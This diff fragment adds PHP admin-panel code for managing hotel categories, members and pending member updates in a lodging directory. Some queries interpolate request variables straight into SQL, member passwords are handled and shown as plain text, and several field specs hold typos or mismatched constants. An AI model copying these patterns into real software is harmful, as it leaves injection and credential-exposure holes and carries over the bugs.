+ '
+ );
+
+ break;
+
+ case "Delete": // Delete Hotel Category
+
+ admin_delete_record
+ (
+ "hotel_cat",
+ SI_CONN_STR,
+ $id,
+ "name, text, Name|"
+ ."active, checkbox, Active|"
+ ."descr, text, Description",
+ "strong",
+ SI_THIS_SCRIPT,
+ "Hotel Category",
+ "",
+ '<P><H2>Delete Hotel Category</H2>
+ '
+ );
+
+ break;
+
+ case "Confirm Delete": // Confirm deletion of record
+
+ admin_confirm_delete_record
+ (
+ "hotel_cat",
+ SI_CONN_STR,
+ $id,
+ "",
+ SI_THIS_SCRIPT,
+ "Hotel Category",
+ "",
+ "<P><H2>Confirm Delete Hotel Category</H2>"
+ );
+ break;
+
+ case "View": // View Hotel Category
+
+ admin_view_record
+ (
+ "hotel_cat",
+ SI_CONN_STR,
+ $id,
+ "name, text, Hotel Category Name|"
+ ."active, checkbox, Active|"
+ ."descr, text, Description",
+ SI_THIS_SCRIPT,
+ "Hotel Category",
+ "",
+ '<P><H2>View Accommodation Type</H2>
+ '
+ );
+
+ break;
+
+ default:
+
+ // Display table of Hotel Categories
+
+ admin_list_records
+ (
+ "hotel_cat",
+ "",
+ "id",
+ SI_CONN_STR,
+ "name, text, Name|"
+ ."active, checkbox, Active",
+ "view,edit",
+ FALSE,
+ 10,
+ $start,
+ SI_THIS_SCRIPT,
+ "Hotel Category",
+ "",
+ "name,text,Type Name,$name",
+ "<P><H2>List of Hotel Categories</H2>"
+ );
+ break;
+
+ } // switch( $Option )
+
+ break;
+
+
+ // Manage Members
+
+ case "Member":
+
+ switch( $Option )
+ {
+
+ case "Add": // Enter new member
+
+ admin_new_record
+ (
+ "member",
+ SI_CONN_STR,
+ "name, text.40, Member Name, UNIQUE|"
+ ."user_id, text.20, Member ID, UNIQUE|"
+ ."user_pw, text.20, Member Password, TRUE|"
+ ."inactive, checkbox, Inactive, FALSE|"
+ ."lockout, checkbox, Member locked out, FALSE|"
+ ."memb_type, pointer.memb_type.name...alpha, Member Type, FALSE|"
+ ."address, text.50, Address, TRUE|"
+ ."city, text.50, City, TRUE|"
+ ."state, list.".$si_states_list.".MI, State, TRUE|"
+ ."zip, text.15, ZIP Code, TRUE|"
+ ."country, list.".$si_countries_list.".US, Country, TRUE|"
+ ."phone, text.20, Phone #, TRUE|"
+ ."toll_free, text.20, Toll Free #, FALSE|"
+ ."kiosk_phone, text.20, Phone # for Kiosk, FALSE|"
+ ."fax, text.20, FAX #, FALSE|"
+ ."lat, lat.4, Lattitude, FALSE|"
+ ."lon, lon.4, Longitude, FALSE|"
+ ."email, text.50, Contact E-Mail Address, FALSE|"
+ ."proc_email, text.50, Processing E-Mail Address, FALSE|"
+ ."url, text.50, Web Site URL, FALSE|"
+ ."descr, textbox.40.5, Description, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."image1, image, Image #1, FALSE|"
+ ."image_text1, textbox.40.2, Image #1 Text, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."image2, image, Image #2, FALSE|"
+ ."image_text2, textbox.40.2, Image #2 Text, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."image3, image, Image #3, FALSE|"
+ ."image_text3, textbox.40.2, Image #3 Text, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."restnear, checkbox, Restaurant Nearby, FALSE|"
+ ."restaurant, checkbox, Restaurant on site, FALSE|"
+ ."breakfast, checkbox, Breakfast available, FALSE|"
+ ."indoor_pool, checkbox, Indoor Pool, FALSE|"
+ ."outdoor_pool, checkbox, Outdoor Pool, FALSE|"
+ ."whirlpool, checkbox, Whirlpool, FALSE|"
+ ."exercise, checkbox, Exercise Room, FALSE|"
+ ."waterfront, checkbox, On the Water Location, FALSE|"
+ ."conference, checkbox, Conference Facilities, FALSE|"
+ ."meeting, checkbox, Meeting Facilities, FALSE|"
+ ."tv, checkbox, TV, FALSE|"
+ ."cable, checkbox, Cable, FALSE|"
+ ."sauna, checkbox, In Room Spa, FALSE|"
+ ."movies, checkbox, Movies, FALSE|"
+ ."pets, checkbox, Pets, FALSE|"
+ ."barrierfree, checkbox, Barrier Free, FALSE|"
+ ."beachaccess, checkbox, Sandy Beach Access, FALSE|"
+ ."eff, checkbox, Efficiencies, FALSE|"
+ ."smokefree, checkbox, Smoke Free Rooms, FALSE|"
+ ."credit_cards, bitmap.Visa~Mastercard~Discover~American Express~Diner's Club,
+ Credit Cards Accepted, FALSE",
+ SI_THIS_SCRIPT,
+ "Member",
+ "",
+ "<P><H2>Add New Member</H2>"
+ );
+
+ break;
+
+ case "Add New": // Add new member
+
+ admin_add_new_record
+ (
+ "member",
+ SI_CONN_STR,
+ "name, text, Member Name, UNIQUE, name|"
+ ."user_id, text, Member ID, UNIQUE, user_id|"
+ ."user_pw, text, Member Password, TRUE, user_pw|"
+ ."inactive, checkbox, Inactive, FALSE, inactive|"
+ ."lockout, checkbox, Member locked out, FALSE, lockout|"
+ ."memb_type, int, Member Type, FALSE, memb_type|"
+ ."address, text, Address, TRUE, address|"
+ ."city, text, City, TRUE, city|"
+ ."state, text, State, TRUE, state|"
+ ."zip, text, ZIP Code, TRUE, zip|"
+ ."country, text, Country, TRUE, country|"
+ ."phone, text, Phone #, TRUE, phone|"
+ ."toll_free, text, Toll Free #, FALSE, toll_free|"
+ ."kiosk_phone, text.20, Phone # for Kiosk, FALSE, kiosk_phone|"
+ ."fax, text, FAX #, FALSE, fax|"
+ ."lat, lat.4, Lattitude, FALSE, lat|"
+ ."lon, lon.4, Longitude, FALSE, lon|"
+ ."email, text, Contact E-Mail Address, FALSE, email|"
+ ."proc_email, text, Processing E-Mail Address, FALSE, proc_email|"
+ ."url, text, Web Site URL, FALSE, url|"
+ ."descr, text, Description, FALSE, descr|"
+ ."image1, image, Image #1, FALSE, image1|"
+ ."image_text1, text, Image #1 Text, FALSE, image_text1|"
+ ."image2, image, Image #2, FALSE, image2|"
+ ."image_text2, text, Image #2 Text, FALSE, image_text2|"
+ ."image3, image, Image #3, FALSE, image3|"
+ ."image_text3, text, Image #3 Text, FALSE, image_text3|"
+ ."restnear, checkbox, Restaurant Nearby, FALSE, restnear|"
+ ."restaurant, checkbox, Restaurant on site, FALSE, restaurant|"
+ ."breakfast, checkbox, Breakfast available, FALSE, breakfast|"
+ ."indoor_pool, checkbox, Indoor Pool, FALSE, indoor_pool|"
+ ."outdoor_pool, checkbox, Outdoor Pool, FALSE, outdoor_pool|"
+ ."whirlpool, checkbox, Whirlpool, FALSE, whirlpool|"
+ ."exercise, checkbox, Exercise Room, FALSE, exercise|"
+ ."waterfront, checkbox, On the Water Location, FALSE, waterfront|"
+ ."conference, checkbox, Conference Facilities, FALSE, conference|"
+ ."meeting, checkbox, Meeting Facilities, FALSE, meeting|"
+ ."tv, checkbox, TV, FALSE, tv|"
+ ."cable, checkbox, Cable, FALSE, cable|"
+ ."sauna, checkbox, In Room Spa, FALSE, sauna|"
+ ."movies, checkbox, Movies, FALSE, movies|"
+ ."pets, checkbox, Pets Accepted, FALSE, pets|"
+ ."barrierfree, checkbox, Barrier Free, FALSE, barrierfree|"
+ ."beachaccess, checkbox, Sandy Beach Access, FALSE, beachaccess|"
+ ."eff, checkbox, Efficiencies, FALSE, eff|"
+ ."smokefree, checkbox, Smoke Free, FALSE, smokefree|"
+ ."credit_cards, bitmap, Credit Cards Accepted, FALSE, credit_cards",
+ SI_THIS_SCRIPT,
+ "Member",
+ "",
+ "<P><H2>New Member Submitted</H2>"
+ );
+
+ break;
+
+ case "Edit": // Edit member
+
+ admin_edit_record
+ (
+ "member",
+ SI_CONN_STR,
+ $member,
+ "name, text.40, Member Name, UNIQUE|"
+ ."user_id, text.20, Member ID, UNIQUE|"
+ ."user_pw, text.20, Member Password, TRUE|"
+ ."inactive, checkbox, Inactive, FALSE|"
+ ."lockout, checkbox, Member locked out, FALSE|"
+ ."memb_type, pointer.memb_type.name...alpha, Member Type, FALSE|"
+ ."address, text.50, Address, TRUE|"
+ ."city, text.50, City, TRUE|"
+ ."state, list.".$si_states_list.", State, TRUE|"
+ ."zip, text.15, ZIP Code, TRUE|"
+ ."country, list.".$si_countries_list.", Country, TRUE|"
+ ."phone, text.20, Phone #, TRUE|"
+ ."toll_free, text.20, Toll Free #, FALSE|"
+ ."kiosk_phone, text.20, Phone # for Kiosk, FALSE|"
+ ."fax, text.20, FAX #, FALSE|"
+ ."lat, lat.4, Lattitude, FALSE|"
+ ."lon, lon.4, Longitude, FALSE|"
+ ."email, text.50, Contact E-Mail Address, FALSE|"
+ ."proc_email, text.50, Processing E-Mail Address, FALSE|"
+ ."url, text.50, Web Site URL, FALSE|"
+ ."descr, textbox.40.5, Description, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."image1, image, Image #1, FALSE|"
+ ."image_text1, textbox.40.2, Image #1 Text, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."image2, image, Image #2, FALSE|"
+ ."image_text2, textbox.40.2, Image #2 Text, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."image3, image, Image #3, FALSE|"
+ ."image_text3, textbox.40.2, Image #3 Text, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."restnear, checkbox, Restaurant Nearby, FALSE|"
+ ."restaurant, checkbox, Restaurant on site, FALSE|"
+ ."breakfast, checkbox, Breakfast available, FALSE|"
+ ."indoor_pool, checkbox, Indoor Pool, FALSE|"
+ ."outdoor_pool, checkbox, Outdoor Pool, FALSE|"
+ ."whirlpool, checkbox, Whirlpool, FALSE|"
+ ."exercise, checkbox, Exercise Room, FALSE|"
+ ."waterfront, checkbox, On the Water Location, FALSE|"
+ ."conference, checkbox, Conference Facilities, FALSE|"
+ ."meeting, checkbox, Meeting Facilities, FALSE|"
+ ."tv, checkbox, TV, FALSE|"
+ ."cable, checkbox, Cable, FALSE|"
+ ."sauna, checkbox, In Room Spa, FALSE|"
+ ."movies, checkbox, Movies, FALSE|"
+ ."pets, checkbox, Pets, FALSE|"
+ ."barrierfree, checkbox, Barrier Free, FALSE|"
+ ."beachaccess, checkbox, Sandy Beach Access, FALSE|"
+ ."eff, checkbox, Efficiencies, FALSE|"
+ ."smokefree, checkbox, Smoke Free Rooms, FALSE|"
+ ."credit_cards, bitmap.Visa~Mastercard~Discover~American Express~Diner's Club,
+ Credit Cards Accepted, FALSE",
+ SI_THIS_SCRIPT,
+ "Member",
+ "",
+ '<P><H2>Edit Member</H2>
+ '
+ );
+
+ break;
+
+ case "Update": // Update member
+
+ admin_update_record
+ (
+ "member",
+ SI_CONN_STR,
+ $member,
+ "name, text, Member Name, UNIQUE, name|"
+ ."user_id, text, Member ID, UNIQUE, user_id|"
+ ."user_pw, text, Member Password, TRUE, user_pw|"
+ ."inactive, checkbox, Inactive, FALSE, inactive|"
+ ."lockout, checkbox, Member locked out, FALSE, lockout|"
+ ."memb_type, int, Member Type, FALSE, memb_type|"
+ ."address, text, Address, TRUE, address|"
+ ."city, text, City, TRUE, city|"
+ ."state, text, State, TRUE, state|"
+ ."zip, text, ZIP Code, TRUE, zip|"
+ ."country, text, Country, TRUE, country|"
+ ."phone, text, Phone #, TRUE, phone|"
+ ."toll_free, text, Toll Free #, FALSE, toll_free|"
+ ."kiosk_phone, text.20, Phone # for Kiosk, FALSE, kiosk_phone|"
+ ."fax, text, FAX #, FALSE, fax|"
+ ."lat, lat, Lattitude, FALSE, lat|"
+ ."lon, lon, Longitude, FALSE, lon|"
+ ."email, text, Contact E-Mail Address, FALSE, email|"
+ ."proc_email, text, Processing E-Mail Address, FALSE, proc_email|"
+ ."url, text, Web Site URL, FALSE, url|"
+ ."descr, text, Description, FALSE, descr|"
+ ."image1, image, Image #1, FALSE, image1|"
+ ."image_text1, text, Image #1 Text, FALSE, image_text1|"
+ ."image2, image, Image #2, FALSE, image2|"
+ ."image_text2, text, Image #2 Text, FALSE, image_text2|"
+ ."image3, image, Image #3, FALSE, image3|"
+ ."image_text3, text, Image #3 Text, FALSE, image_text3|"
+ ."restnear, checkbox, Restaurant Nearby, FALSE, restnear|"
+ ."restaurant, checkbox, Restaurant on site, FALSE, restaurant|"
+ ."breakfast, checkbox, Breakfast available, FALSE, breakfast|"
+ ."indoor_pool, checkbox, Indoor Pool, FALSE, indoor_pool|"
+ ."outdoor_pool, checkbox, Outdoor Pool, FALSE, outdoor_pool|"
+ ."whirlpool, checkbox, Whirlpool, FALSE, whirlpool|"
+ ."exercise, checkbox, Exercise Room, FALSE, exercise|"
+ ."waterfront, checkbox, On the Water Location, FALSE, waterfront|"
+ ."conference, checkbox, Conference Facilities, FALSE, conference|"
+ ."meeting, checkbox, Meeting Facilities, FALSE, meeting|"
+ ."tv, checkbox, Tv, FALSE, tv|"
+ ."cable, checkbox, Cable, FALSE, cable|"
+ ."sauna, checkbox, In Room Spa, FALSE, sauna|"
+ ."movies, checkbox, Movies, FALSE, movies|"
+ ."pets, checkbox, Pets, FALSE, pets|"
+ ."barrierfree, checkbox, Barrier Free, FALSE, barrierfree|"
+ ."beachaccess, checkbox, Sandy Beach Access, FALSE, beachaccess|"
+ ."eff, checkbox, Efficiencies, FALSE, eff|"
+ ."smokefree, checkbox, Smoke Free Rooms, FALSE, smokefree|"
+ ."credit_cards, bitmap, Credit Cards Accepted, FALSE, credit_cards",
+ SI_THIS_SCRIPT,
+ "Member",
+ "",
+ '<P><H2>Edited Member Submitted</H2>
+ '
+ );
+
+ break;
+
+ case "Delete": // Delete member
+
+ admin_delete_record
+ (
+ "member",
+ SI_CONN_STR,
+ $member,
+ "name, text, Name|"
+ ."city, text, City|"
+ ."state, text, State|"
+ ."inactive, checkbox, Inactive|"
+ ."lockout, checkbox, Member locked out|"
+ ."pending, checkbox, Pending Approval",
+ "strong",
+ SI_THIS_SCRIPT,
+ "Member",
+ "",
+ '<P><H2>Delete Member</H2>
+ '
+ );
+
+ break;
+
+ case "Confirm Delete": // Confirm deletion of record
+
+ admin_confirm_delete_record
+ (
+ "member",
+ SI_CONN_STR,
+ $member,
+ // Need to add reference protection for Accommodations here
+ "image, image, Image",
+ SI_THIS_SCRIPT,
+ "Member",
+ "",
+ '<P><H2>Confirm Delete Member</H2>'
+ );
+ break;
+
+ case "View": // View member
+
+ admin_view_record
+ (
+ "member",
+ SI_CONN_STR,
+ $member,
+ "id, int, Record ID|"
+ ."name, text, Member Name|"
+ ."user_id, text.20, Member ID|"
+ ."user_pw, text.20, Member Password|"
+ ."inactive, checkbox, Inactive|"
+ ."lockout, checkbox, Member locked out|"
+ ."memb_type, pointer.memb_type.name, Member Type|"
+ ."address, text, Address|"
+ ."city, text, City|"
+ ."state, list.".$si_states_list.", State|"
+ ."zip, text, ZIP Code|"
+ ."country, list.".$si_countries_list.", Country|"
+ ."phone, text, Phone #|"
+ ."toll_free, text, Toll Free #|"
+ ."kiosk_phone, text.20, Phone # for Kiosk|"
+ ."fax, text, FAX #|"
+ ."lat, lat, Lattitude|"
+ ."lon, lon, Longitude|"
+ ."email, text, Contact E-Mail Address|"
+ ."proc_email, text, Processing E-Mail Address|"
+ ."url, text, Web Site URL|"
+ ."descr, text, Description|"
+ ."image1, image.t, Image #1|"
+ ."image_text1, text, Image #1 Text|"
+ ."image2, image.t, Image #2|"
+ ."image_text2, text, Image #2 Text|"
+ ."image3, image.t, Image #3|"
+ ."image_text3, text, Image #3 Text|"
+ ."restnear, checkbox, Restaurant Nearby|"
+ ."restaurant, checkbox, Restaurant on site|"
+ ."breakfast, checkbox, Breakfast available|"
+ ."indoor_pool, checkbox, Indoor Pool|"
+ ."outdoor_pool, checkbox, Outdoor Pool|"
+ ."whirlpool, checkbox, Whirlpool|"
+ ."exercise, checkbox, Exercise Room|"
+ ."waterfront, checkbox, On the Water Location|"
+ ."conference, checkbox, Conference Facilities|"
+ ."meeting, checkbox, Meeting Facilities|"
+ ."tv, checkbox, TV|"
+ ."cable, checkbox, Cable|"
+ ."sauna, checkbox, In Room Spa|"
+ ."movies, checkbox, Movies|"
+ ."pets, checkbox, Pets Accepted|"
+ ."barrierfree, checkbox, Barrier Free|"
+ ."beachaccess, checkbox, Sandy Beach Access|"
+ ."eff, checkbox, Efficiencies|"
+ ."smokefree, checkbox, Smoke Free Rooms|"
+ ."credit_cards, bitmap.Visa~Mastercard~Discover~American Express~Diner's Club,
+ Credit Cards Accepted",
+ SI_THIS_SCRIPT,
+ "Member",
+ "",
+ "",
+ '<P><H2>Member Information</H2>
+ <BR>
+ <TABLE BORDER="1">
+ <TR>
+ <TD ALIGN="left" COLSPAN="2">
+ {name}<BR>
+ {address}<BR>
+ {city}, {state} {zip} {country}
+ </TD>
+ </TR><TR>
+ <TD ALIGN="left" VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TH ALIGN="left">Phone:</TH><TD>{phone}</TD></TR>
+ <TR><TH ALIGN="left">Toll Free:</TH><TD>{toll_free}</TD></TR>
+ <TR><TH ALIGN="left">Phone # for Kiosk:</TH><TD>{kiosk_phone}</TD></TR>
+ <TR><TH ALIGN="left">FAX:</TH><TD>{fax}</TD></TR>
+ <TR><TH ALIGN="left">Lattitude:</TH><TD>{lat}</TD></TR>
+ <TR><TH ALIGN="left">Longitude:</TH><TD>{lon}</TD></TR>
+ </TABLE><BR>
+ </TD>
+ <TD ALIGN="left" VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TH ALIGN="left">Contact E-Mail:</TH><TD><A HREF="mailto:{email}">{email}</A></TD></TR>
+ <TR><TH ALIGN="left">Proc. E-Mail:</TH><TD><A HREF="mailto:{proc_email}">{proc_email}</A></TD></TR>
+ <TR><TH ALIGN="left">Web Site:</TH><TD><A HREF="http://{url}">{url}</A></TD></TR>
+ </TABLE><BR>
+ </TD>
+ </TR><TR>
+ <TD ALIGN="left" VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TH ALIGN="left">Member Type:</TH><TD>{memb_type}</TD></TR>
+ </TABLE>
+ </TD>
+ <TD ALIGN="left" VALIGN="top">
+ <TABLE BORDER="0">
+ <TR><TH ALIGN="left">Inactive:</TH><TD>{inactive}</TD></TR>
+ <TR><TH ALIGN="left">Member Locked Out:</TH><TD>{lockout}</TD></TR>
+ </TABLE>
+ </TD>
+ </TR><TR>
+ <TD COLSPAN="2"><B>Description:</B><br>{descr} </TD>
+ </TR><TR>
+ <TD ALIGN="left" VALIGN="top" COLSPAN=2>
+ <TABLE BORDER="0" WIDTH="100%">
+ <TR>
+ <TD><CENTER>Image #1<BR>{image1}<BR></CENTER>{image_text1}</TD>
+ <TD><CENTER>Image #2<BR>{image2}<BR></CENTER>{image_text2}</TD>
+ <TD><CENTER>Image #3<BR>{image3}<BR></CENTER>{image_text3}</TD>
+ </TR>
+ </TABLE>
+ </TD>
+ </TR><TR>
+ <TD COLSPAN="2" ALIGN="center"><TABLE BORDER="0" WIDTH="100%"><TR>
+ <TD ALIGN="left" VALIGN="top">
+ <TABLE BORDER="0" WIDTH="100%">
+ <TR><TH ALIGN="left" VALIGN="top">Credit Cards:</TH><TD>{credit_cards}</TD></TR>
+ </TABLE>
+ </TD>
+ <TD ALIGN="left" VALIGN="top">
+ <TABLE BORDER="0" WIDTH="100%">
+ <TR><TH ALIGN="left">Restaurant Nearby:</TH><TD>{restnear}</TD></TR>
+ <TR><TH ALIGN="left">Restaurant:</TH><TD>{restaurant}</TD></TR>
+ <TR><TH ALIGN="left">Breakfast:</TH><TD>{breakfast}</TD></TR>
+ <TR><TH ALIGN="left">Indoor Pool:</TH><TD>{indoor_pool}</TD></TR>
+ <TR><TH ALIGN="left">Outdoor Pool:</TH><TD>{outdoor_pool}</TD></TR>
+ <TR><TH ALIGN="left">Whirlpool:</TH><TD>{whirlpool}</TD></TR>
+ <TR><TH ALIGN="left">Exercise Room:</TH><TD>{exercise}</TD></TR>
+ <TR><TH ALIGN="left">On the Water:</TH><TD>{waterfront}</TD></TR>
+ <TR><TH ALIGN="left">Conference:</TH><TD>{conference}</TD></TR>
+ <TR><TH ALIGN="left">Meeting:</TH><TD>{meeting}</TD></TR>
+ </TABLE>
+ </TD>
+ <TD ALIGN="left" VALIGN="top">
+ <TABLE BORDER="0" WIDTH="100%">
+ <TR><TH ALIGN="left">TV:</TH><TD>{tv}</TD></TR>
+ <TR><TH ALIGN="left">Cable:</TH><TD>{cable}</TD></TR>
+ <TR><TH ALIGN="left">In Room Spa:</TH><TD>{sauna}</TD></TR>
+ <TR><TH ALIGN="left">Movies:</TH><TD>{movies}</TD></TR>
+ <TR><TH ALIGN="left">Pets:</TH><TD>{pets}</TD></TR>
+ <TR><TH ALIGN="left">Barrier Free:</TH><TD>{barrierfree}</TD></TR>
+ <TR><TH ALIGN="left">Beach Access:</TH><TD>{beachaccess}</TD></TR>
+ <TR><TH ALIGN="left">Efficiencies:</TH><TD>{eff}</TD></TR>
+ <TR><TH ALIGN="left">Smoke Free Rooms:</TH><TD>{smokefree}</TD></TR>
+ </TABLE>
+ </TD>
+ </TD></TR></TABLE>
+ </TR>
+ </TABLE>
+ '
+ );
+
+ break;
+
+
+ default:
+
+ // Display table of Members
+
+ admin_list_records
+ (
+ "member",
+ "",
+ "name",
+ SI_CONN_STR,
+ "name, text, Name|"
+ ."memb_type, pointer.memb_type.name, Member Type|"
+// ."prop_type, pointer.prop_type.name, Property Type|"
+ ."phone, text, Phone|"
+ ."inactive, checkbox, Inactive|"
+ ."lockout, checkbox, Locked|"
+ ."pending, checkbox, Pending",
+ "new,view,edit,delete,sortlinks,filter",
+ FALSE,
+ 10,
+ $start,
+ SI_THIS_SCRIPT,
+ "Member",
+ "",
+ "name, text, Member Name, name|"
+ ."inactive, checkbox, Inactive, inactive|"
+ ."lockout, checkbox, Lockout, lockout",
+ "<P><H2>List of Members</H2>"
+ );
+
+ if( ($pending = db_auto_get_data( "SELECT name, id FROM member WHERE p_address != '';", SI_CONN_STR, FALSE )) && count($pending) > 0 )
+ {
+ echo '<P><H2>Members with Pending Updates</H2>
+ <table border="1">
+ <tr><th align="left">Member</th><th align="left">Operation</th></tr>
+ ';
+
+ foreach( $pending as $p )
+ echo '<tr>
+ <td align="left">'.$p['name'].'</td>
+ <td align="left"><a href="'.SI_THIS_SCRIPT.'?Action=Member+Pending&Option=View&member='.$p['id'].'">[view]</td>
+ </tr>
+ ';
+ echo ' </table>
+ ';
+ }
+ break;
+
+ } // switch( $Option )
+
+ break;
+
+
+ // Manage Member Pending Data
+
+ case "Member Pending":
+
+
+ switch( $Option )
+ {
+
+ case "Delete": // Delete Pending member data
+
+ admin_delete_record
+ (
+ "member",
+ SI_CONN_STR,
+ $member,
+ "name, text, Name|"
+ ."city, text, City|"
+ ."state, text, State",
+ "strong",
+ THIS_SCRIPT,
+ "Member Pending",
+ "member.$member|"
+ ."member_name.$member_name",
+ '<P><H2>Delete <FONT COLOR="red">Pending</FONT> Member Information</H2><P>
+ <B>NOTE:</B> This will only delete the Pending Member Information<BR>
+ The Active Member Information will not be deleted.<P>
+ '
+ );
+
+ break;
+
+ case "Confirm Delete": // Confirm deletion of pending data record
+
+ echo "<CENTER>\n";
+
+ // If delete confirmed, clear p_address field
+
+ if( $Confirm == "Delete" )
+ {
+ db_auto_exec( "UPDATE member SET p_address = '' WHERE id = $id;", SI_CONN_STR, FALSE );
+ echo '<P><H2><FONT COLOR="red">Pending</FONT> Member Information Deleted</H2>
+ ';
+ }
+ else
+ echo '<P><H2><FONT COLOR="red">Pending</FONT> Member Information Not Deleted</H2>
+ ';
+
+ break;
+
+
+ case "Edit": // Edit pending member information
+
+ admin_edit_record
+ (
+ "member",
+ SI_CONN_STR,
+ $member,
+ "name, text.40, Member Name, DISPLAY|"
+ ."memb_type, pointer.memb_type.name, Member Type, DISPLAY|"
+ ."p_address, text.50, Address, TRUE|"
+ ."p_city, text.50, City, TRUE|"
+ ."p_state, list.".$si_states_list.", State, TRUE|"
+ ."p_zip, text.15, ZIP Code, TRUE|"
+ ."p_country, list.".$si_countries_list.", Country, TRUE|"
+ ."p_phone, text.20, Phone #, TRUE|"
+ ."p_toll_free, text.20, Toll Free #, FALSE|"
+ ."kiosk_phone, text, Phone # for Kiosk, FALSE|"
+ ."p_fax, text.20, FAX #, FALSE|"
+ ."p_email, text.50, Contact E-Mail Address, FALSE|"
+ ."p_proc_email, text.50, Processing E-Mail Address, FALSE|"
+ ."p_url, text.50, Web Site URL, FALSE|"
+ ."p_descr, textbox.40.5, Description, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."p_image1, image, Image #1, FALSE|"
+ ."p_image_text1, textbox.40.2, Image #1 Text, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."p_image2, image, Image #2, FALSE|"
+ ."p_image_text2, textbox.40.2, Image #2 Text, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."p_image3, image, Image #3, FALSE|"
+ ."p_image_text3, textbox.40.2, Image #3 Text, FALSE|"
+ .", break.<HR>, , FALSE|"
+ ."p_restnear, checkbox, Restaurant Nearby, FALSE|"
+ ."p_restaurant, checkbox, Restaurant on site, FALSE|"
+ ."p_breakfast, checkbox, Breakfast available, FALSE|"
+ ."p_indoor_pool, checkbox, Indoor Pool, FALSE|"
+ ."p_outdoor_pool, checkbox, Outdoor Pool, FALSE|"
+ ."p_whirlpool, checkbox, Whirlpool, FALSE|"
+ ."p_exercise, checkbox, Exercise Room, FALSE|"
+ ."p_waterfront, checkbox, Waterfront Location, FALSE|"
+ ."p_conference, checkbox, Conference Facilities, FALSE|"
+ ."p_meeting, checkbox, Meeting Facilities, FALSE|"
+ ."p_tv, checkbox, TV, FALSE|"
+ ."p_cable, checkbox, Cable, FALSE|"
+ ."p_sauna, checkbox, Sauna, FALSE|"
+ ."p_movies, checkbox, Movies, FALSE|"
+ ."p_pets, checkbox, Pets, FALSE|"
+ ."p_barrierfree, checkbox, Barrier Free, FALSE|"
+ ."p_beachaccess, checkbox, Sandy Beach Access, FALSE|"
+ ."p_eff, checkbox, Efficiencies, FALSE|"
+ ."p_smokefree, checkbox, Smoke Free Rooms, FALSE|"
+ ."p_credit_cards, bitmap.Visa~Mastercard~Discover~American Express~Diner's Club,
+ Credit Cards Accepted, FALSE",
+ THIS_SCRIPT,
+ "Member Pending",
+ "member.$member|"
+ ."member_name.$member_name",
+ '<P><H2>Edit <FONT COLOR="red">Pending</FONT> Member Information</H2>
+ '
+ );
+
+ break;
+
+ case "Update": // Update pending member information
+
+ admin_update_record
+ (
+ "member",
+ SI_CONN_STR,
+ $member,
+ "p_address, text, Address, TRUE, p_address|"
+ ."p_city, text, City, TRUE, p_city|"
+ ."p_state, text, State, TRUE, p_state|"
+ ."p_zip, text, ZIP Code, TRUE, p_zip|"
+ ."p_country, text, Country, TRUE, p_country|"
+ ."p_phone, text, Phone #, TRUE, p_phone|"
+ ."p_toll_free, text, Toll Free #, FALSE, p_toll_free|"
+ ."p_kiosk_phone, text, Phone # for Kiosk, FALSE, p_kiosk_phone|"
+ ."p_fax, text, FAX #, FALSE, p_fax|"
+ ."p_email, text, Contact E-Mail Address, FALSE, p_email|"
+ ."p_proc_email, text, Processing E-Mail Address, FALSE, p_proc_email|"
+ ."p_url, text, Web Site URL, FALSE, p_url|"
+ ."p_descr, text, Description, FALSE, p_descr|"
+ ."p_image1, image, Image #1, FALSE, p_image1|"
+ ."p_image_text1, text, Image #1 Text, FALSE, p_image_text1|"
+ ."p_image2, image, Image #2, FALSE, p_image2|"
+ ."p_image_text2, text, Image #2 Text, FALSE, p_image_text2|"
+ ."p_image3, image, Image #3, FALSE, p_image3|"
+ ."p_image_text3, text, Image #3 Text, FALSE, p_image_text3|"
+ ."p_restnear, checkbox, Restaurant Nearby, FALSE, p_restnear|"
+ ."p_restaurant, checkbox, Restaurant on site, FALSE, p_restaurant|"
+ ."p_breakfast, checkbox, Breakfast available, FALSE, p_breakfast|"
+ ."p_indoor_pool, checkbox, Indoor Pool, FALSE, p_indoor_pool|"
+ ."p_outdoor_pool, checkbox, Outdoor Pool, FALSE, p_outdoor_pool|"
+ ."p_whirlpool, checkbox, Whirlpool, FALSE, p_whirlpoll|"
+ ."p_exercise, checkbox, Exercise Room, FALSE, p_exercise|"
+ ."p_waterfront, checkbox, Waterfront Location, FALSE, p_waterfront|"
+ ."p_conference, checkbox, Conference Facilities, FALSE, p_conference|"
+ ."p_meeting, checkbox, Meeting Facilities, FALSE, p_meeting|"
+ ."p_tv, checkbox, TV,, FALSE, p_tv|"
+ ."p_cable, checkbox, Cable availablem, FALSE, p_cable|"
+ ."p_sauna, checkbox, Sauna, FALSE, p_sauna|"
+ ."p_movies, checkbox, Movies, FALSE, p_movies|"
+ ."p_pets, checkbox, Pets Accepted, FALSE, p_pets|"
+ ."p_barrierfree, checkbox, Barrier Free, FALSE, p_barrierfree|"
+ ."p_beachaccess, checkbox, Sandy Beach Access, FALSE, p_beachaccess|"
+ ."p_eff, checkbox, Efficiencies, FALSE, p_eff|"
+ ."p_smokefree, checkbox, Smoke Free Rooms, FALSE, p_smokefree|"
+ ."p_credit_cards, bitmap, Credit Cards Accepted, FALSE, p_credit_cards",
+ THIS_SCRIPT,
+ "Member Pending",
+ "member.$member|"
+ ."member_name.$member_name",
+ '<P><H2>Edited <FONT COLOR="red">Pending</FONT> Member Information Submitted</H2>
+ '
+ );
+
+ break;
+
+
+ case "View": // View member data pending approval
+
+ $cd = db_auto_get_row( "SELECT * FROM member WHERE id = $member;", 0, SI_CONN_STR, FALSE );
+
+ admin_view_record
+ (
+ "member",
+ SI_CONN_STR,
+ $member,
+ "id, int, Record ID|"
+ ."name, text, Member Name|"
+ ."memb_type, pointer.memb_type.name, Member Type|"
+ ."p_address, text, Address|"
+ ."p_city, text, City|"
+ ."p_state, list.".$si_states_list.", State|"
+ ."p_zip, text, ZIP Code|"
+ ."p_country, list.".$si_countries_list.", Country|"
